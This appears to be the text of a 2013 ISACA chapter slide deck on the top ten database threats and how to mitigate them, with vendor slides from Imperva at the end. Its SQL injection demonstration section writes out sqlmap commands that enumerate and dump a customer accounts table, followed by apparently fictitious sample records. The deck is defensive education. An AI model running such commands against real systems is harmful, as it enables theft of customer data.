Top 10 Database Threats

ISACA Charlotte Chapter

Presented by Eric Gerena
Agenda

- Background
- Top 10 Database Threats
- Neutralizing the Threats
- SQLi Attack Demonstration
- Q&A
Background

Ninety six percent (96%) of records breached are from databases.

2012 Verizon Data Breach Report

Less than 5% of Security spend is on data center security.

## What’s Changed?

<table>
<thead>
<tr>
<th>Ranking</th>
<th>2013 Top Threats</th>
<th>2010 Top Threats</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Excessive and Unused Privileges</td>
<td>Excessive Privilege Abuse</td>
</tr>
<tr>
<td>2</td>
<td>Privilege Abuse</td>
<td>Legitimate Privilege Abuse</td>
</tr>
<tr>
<td>3</td>
<td>SQL Injection</td>
<td>Privilege Elevation</td>
</tr>
<tr>
<td>4</td>
<td>Malware</td>
<td>Exploitation of Vulnerable, Misconfigured Databases</td>
</tr>
<tr>
<td>5</td>
<td>Weak Audit Trail</td>
<td>SQL Injection</td>
</tr>
<tr>
<td>6</td>
<td>Storage Media Exposure</td>
<td>Weak Audit Trail</td>
</tr>
<tr>
<td>7</td>
<td>Exploitation of Vulnerabilities and Misconfigured Databases</td>
<td>Denial of Service</td>
</tr>
<tr>
<td>8</td>
<td>Unmanaged Sensitive Data</td>
<td>Database Communication Protocol Vulnerabilities</td>
</tr>
<tr>
<td>9</td>
<td>Denial of Service</td>
<td>Unauthorized Copies of Sensitive Data</td>
</tr>
<tr>
<td>10</td>
<td>Limited Security Expertise and Education</td>
<td>Backup Data Exposure</td>
</tr>
</tbody>
</table>
Top 10 Database Threats

Are you at risk?
1. Excessive & Unused Privileges

Jim works in Sales

Used to work in Accounts Payable

Uses his access for personal enrichment
2. Privilege Abuse

Over 900 police workers abused data access privileges

Hundreds of police workers were "subjected to disciplinary procedures for breaching the Data Protection Act", according to Big Brother Watch report

Posted by Information Age on 8 July 2011

Former DNR official accused of misusing data access makes court appearance

By Marino Eccher
meccher@pioneerpress.com
Posted: 03/05/2013 12:01:00 AM CST
Updated: 03/06/2013 07:14:46 AM CST

Study: Former Employees Take Data With Them

Added by Marissa Tejada on Mar 5, 2013
3. SQLi (SQL Injection)

The Best Way To Spend Your Security Budget

“...one SQL injection attack can bring in big bucks. It's a no-brainer that you should make this problem top priority.”

Dark Reading, Feb 28, 2013
4. Malware

69% of breaches incorporated malware

5. Weak Audit Trail
6. Storage Media Exposure

How South Carolina Failed To Spot Hack Attack

“...the attacker had successfully located and begun copying 23 database backup files...”

Information Week, November 26, 2012
7. Database Vulnerability Exploitation
8. Unmanaged Sensitive Data
9. Denial of Service (DoS)
10. Limited Security Expertise & Education
Neutralizing the Threats

Risk Mitigation
How to Neutralize the Threats

- Discover, Classify & Assess
- User Rights Management
- Auditing, Monitoring & Protecting
- Data Protection
- Non-Technical Security
Discover, Classify & Assess

- Discover Active DBs
- Discover Rogue DBs
- Classify DBs
- Vulnerability Assessments

Risk
User Rights Management

- Reduce Unwarranted Data Access
- Map Rights to Individuals
- Identify Dormant Accounts
- Enforce “Need-to-Know”
- Comply
Auditing, Monitoring & Protecting

- Real Time Alerting & Blocking
- *Detect Unusual DB Activity*
- *Monitor Local DB Activity*
- *Impose Connection Controls*
Data Protection

- Tamper-Proof Audit Trail
- Storage Encryption
Non-Technical Security

- User Education & Awareness
- Cultivate Experienced Security Professionals
Risk Reduction

- Awareness
- Audit
- Vulnerabilities

Q1-2013: 20
Q2-2013: 15
Q3-2013: 10
Q4-2013: 5
SQLi Attack Demonstration

It still works!
Anatomy of the Attack

1. Identify the Vulnerability
2. Exploit the Vulnerability
3. Compromise the Victim
So, what tools will be used?

Identify the Vulnerability

Exploit the Vulnerability

Compromi$e the Victim

Commercial Web App Vulnerability Scanner

DB Exploit Tool "SQLMap"
SQLMap Attack Commands

Identify All Databases and Current Database

- ./sqlmap.py -u http://10.0.0.11/proddetails.jsp?ProdID=anything --dbs
- ./sqlmap.py -u http://10.0.0.11/proddetails.jsp?ProdID=anything --current-db

Identify Table(s) of Interest and Associated Columns

- ./sqlmap.py -u http://10.0.0.11/proddetails.jsp?ProdID=anything -D superveda_db --tables
- ./sqlmap.py -u http://10.0.0.11/proddetails.jsp?ProdID=anything -D superveda_db -T Legacy_Customer_Accounts --columns

Dump Records from Identified Table and Columns

- ./sqlmap.py -u http://10.0.0.11/proddetails.jsp?ProdID=anything -D superveda_db -T Legacy_Customer_Accounts --columns --dump >> /root/Desktop/SQLi-Attack-Results.txt
### Database: superveda.db

**Table: Legacy_Customer_Accounts**

<table>
<thead>
<tr>
<th>AcctID</th>
<th>Zip</th>
<th>CCN</th>
<th>LName</th>
<th>Phone</th>
<th>FName</th>
<th>CC_Type</th>
<th>Exp-Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>36006</td>
<td>89427</td>
<td>0xa6342955624318368</td>
<td>WALDMAN</td>
<td>(592)</td>
<td>427-8964</td>
<td>NATALIE</td>
<td>AMEX</td>
</tr>
<tr>
<td>36001</td>
<td>73187</td>
<td>0xa6601162466517412</td>
<td>GWIN</td>
<td>(489)</td>
<td>687-4819</td>
<td>DAMION</td>
<td>Discover</td>
</tr>
<tr>
<td>36002</td>
<td>41870</td>
<td>0xa651209393683498</td>
<td>QUINN</td>
<td>(644)</td>
<td>870-9142</td>
<td>AGNES</td>
<td>MasterCard</td>
</tr>
<tr>
<td>36003</td>
<td>2843</td>
<td>0xa8411650905056914</td>
<td>CHARTIER</td>
<td>(515)</td>
<td>743-8968</td>
<td>JAMES</td>
<td>Visa</td>
</tr>
<tr>
<td>36006</td>
<td>82288</td>
<td>0xa634065488426266</td>
<td>BURNS</td>
<td>(337)</td>
<td>288-6963</td>
<td>JEFF</td>
<td>AMEX</td>
</tr>
<tr>
<td>36008</td>
<td>3312</td>
<td>0xa680119768571722</td>
<td>MCNILLAN</td>
<td>(781)</td>
<td>312-7866</td>
<td>JACQUELINE</td>
<td>Discover</td>
</tr>
<tr>
<td>36106</td>
<td>25241</td>
<td>0xa651236950616319</td>
<td>HALL</td>
<td>(839)</td>
<td>241-5325</td>
<td>HAROLD</td>
<td>Visa</td>
</tr>
<tr>
<td>36111</td>
<td>36955</td>
<td>0xa6411648055937013</td>
<td>LEFEBRE</td>
<td>(506)</td>
<td>755-7465</td>
<td>MIKE</td>
<td>MasterCard</td>
</tr>
<tr>
<td>36114</td>
<td>80831</td>
<td>0xa6345672983453416</td>
<td>BROWN</td>
<td>(830)</td>
<td>831-3083</td>
<td>TRACIE</td>
<td>AMEX</td>
</tr>
<tr>
<td>36116</td>
<td>58580</td>
<td>0xa6601175094825522</td>
<td>HOOVER</td>
<td>(671)</td>
<td>859-6762</td>
<td>JOHN</td>
<td>Visa</td>
</tr>
<tr>
<td>36118</td>
<td>51151</td>
<td>0xa612241544493392</td>
<td>GAMBLE</td>
<td>(862)</td>
<td>651-5812</td>
<td>STUART</td>
<td>Visa</td>
</tr>
<tr>
<td>36204</td>
<td>49027</td>
<td>0xa411969206499022</td>
<td>NEACE</td>
<td>(725)</td>
<td>627-1525</td>
<td>PRISCILLA</td>
<td>Visa</td>
</tr>
<tr>
<td>36206</td>
<td>14282</td>
<td>0xa342135898773783</td>
<td>MCDERMOTT</td>
<td>(962)</td>
<td>282-7475</td>
<td>RUTH</td>
<td>AMEX</td>
</tr>
<tr>
<td>36302</td>
<td>37838</td>
<td>0xa691158791835949</td>
<td>THORTON</td>
<td>(958)</td>
<td>838-9083</td>
<td>CHARLES</td>
<td>Visa</td>
</tr>
<tr>
<td>36304</td>
<td>33092</td>
<td>0xa651604476231237</td>
<td>CAWLEY</td>
<td>(928)</td>
<td>692-9314</td>
<td>LOTTIE</td>
<td>MasterCard</td>
</tr>
<tr>
<td>36406</td>
<td>90478</td>
<td>0xa61229562575677</td>
<td>ARGO</td>
<td>(814)</td>
<td>478-9374</td>
<td>MARY</td>
<td>Visa</td>
</tr>
<tr>
<td>36401</td>
<td>16807</td>
<td>0xa43472943229015</td>
<td>AUDETTE</td>
<td>(318)</td>
<td>809-4810</td>
<td>LILA</td>
<td>AMEX</td>
</tr>
<tr>
<td>36402</td>
<td>55068</td>
<td>0xa68011644062493</td>
<td>DANIELS</td>
<td>(851)</td>
<td>565-6714</td>
<td>NORMAN</td>
<td>Visa</td>
</tr>
<tr>
<td>36403</td>
<td>52956</td>
<td>0xa651237049153915</td>
<td>REYES</td>
<td>(406)</td>
<td>956-2387</td>
<td>KATHRYN</td>
<td>Visa</td>
</tr>
<tr>
<td>36404</td>
<td>25952</td>
<td>0xa61223649736399</td>
<td>PARKS</td>
<td>(325)</td>
<td>952-8251</td>
<td>SHARON</td>
<td>Visa</td>
</tr>
<tr>
<td>36405</td>
<td>5902</td>
<td>0xa34576298727014</td>
<td>SCHIAVONE</td>
<td>(674)</td>
<td>902-3053</td>
<td>DAREN</td>
<td>AMEX</td>
</tr>
<tr>
<td>36416</td>
<td>56811</td>
<td>0xa660116489493963</td>
<td>MILLER</td>
<td>(811)</td>
<td>811-1561</td>
<td>JOHN</td>
<td>Visa</td>
</tr>
<tr>
<td>3647</td>
<td>34567</td>
<td>0xa61555985314166</td>
<td>EDISON</td>
<td>(782)</td>
<td>567-0350</td>
<td>JOHN</td>
<td>MasterCard</td>
</tr>
<tr>
<td>3648</td>
<td>43213</td>
<td>0xa641197167914755</td>
<td>DELAROSA</td>
<td>(888)</td>
<td>213-7577</td>
<td>NANCY</td>
<td>Visa</td>
</tr>
<tr>
<td>3649</td>
<td>48426</td>
<td>0xa342650299263839</td>
<td>TAYLOR</td>
<td>(827)</td>
<td>426-6088</td>
<td>YOLANDA</td>
<td>AMEX</td>
</tr>
<tr>
<td>3652</td>
<td>354</td>
<td>0xa660118180183630</td>
<td>WEST</td>
<td>(364)</td>
<td>354-3860</td>
<td>MYRTICE</td>
<td>Visa</td>
</tr>
<tr>
<td>3651</td>
<td>89427</td>
<td>0xa651993906779481</td>
<td>STOUT</td>
<td>(592)</td>
<td>427-8964</td>
<td>CURTIS</td>
<td>Visa</td>
</tr>
<tr>
<td>3652</td>
<td>73187</td>
<td>0xa61225300275736</td>
<td>ADAMS</td>
<td>(489)</td>
<td>687-4819</td>
<td>PATRICIA</td>
<td>Visa</td>
</tr>
</tbody>
</table>
Imperva

Data Security Solutions
Imperva Highlights

The Problems We Solve
Protecting the Data that Drives Business
Maintaining Regulatory Compliance

About Imperva
• Founded: 2002
• CEO: Shlomo Kramer, Co-Founder of Check Point
• HQ in Redwood Shores, CA
• 1,800+ customers; 25,000+ organizations
• Customers in 50+ countries

Company Highlights
• 480+ Employees
• $104M in Revenue
• $48M Deferred Revenue
• Cash & CE: $102M
• Publicly Traded: IMPV

33% YoY Growth
The Solution

Solving the business security problem requires a new protection layer positioned closely around the data and applications in the data center.

*IMPERSVA’S MISSION IS TO PROVIDE A COMPLETE SOLUTION*
Databases - Coverage

Coverage for Heterogeneous Databases

ORACLE

Progress. OpenEdge.

IBM

DB2
DB2 z/OS
DB2400
Informix
Netezza

Sybase

Teradata

MySQL

© 2013 Imperva, Inc. All rights reserved.
Web Scanner Integration
Thank You

Imperva Data Security Solutions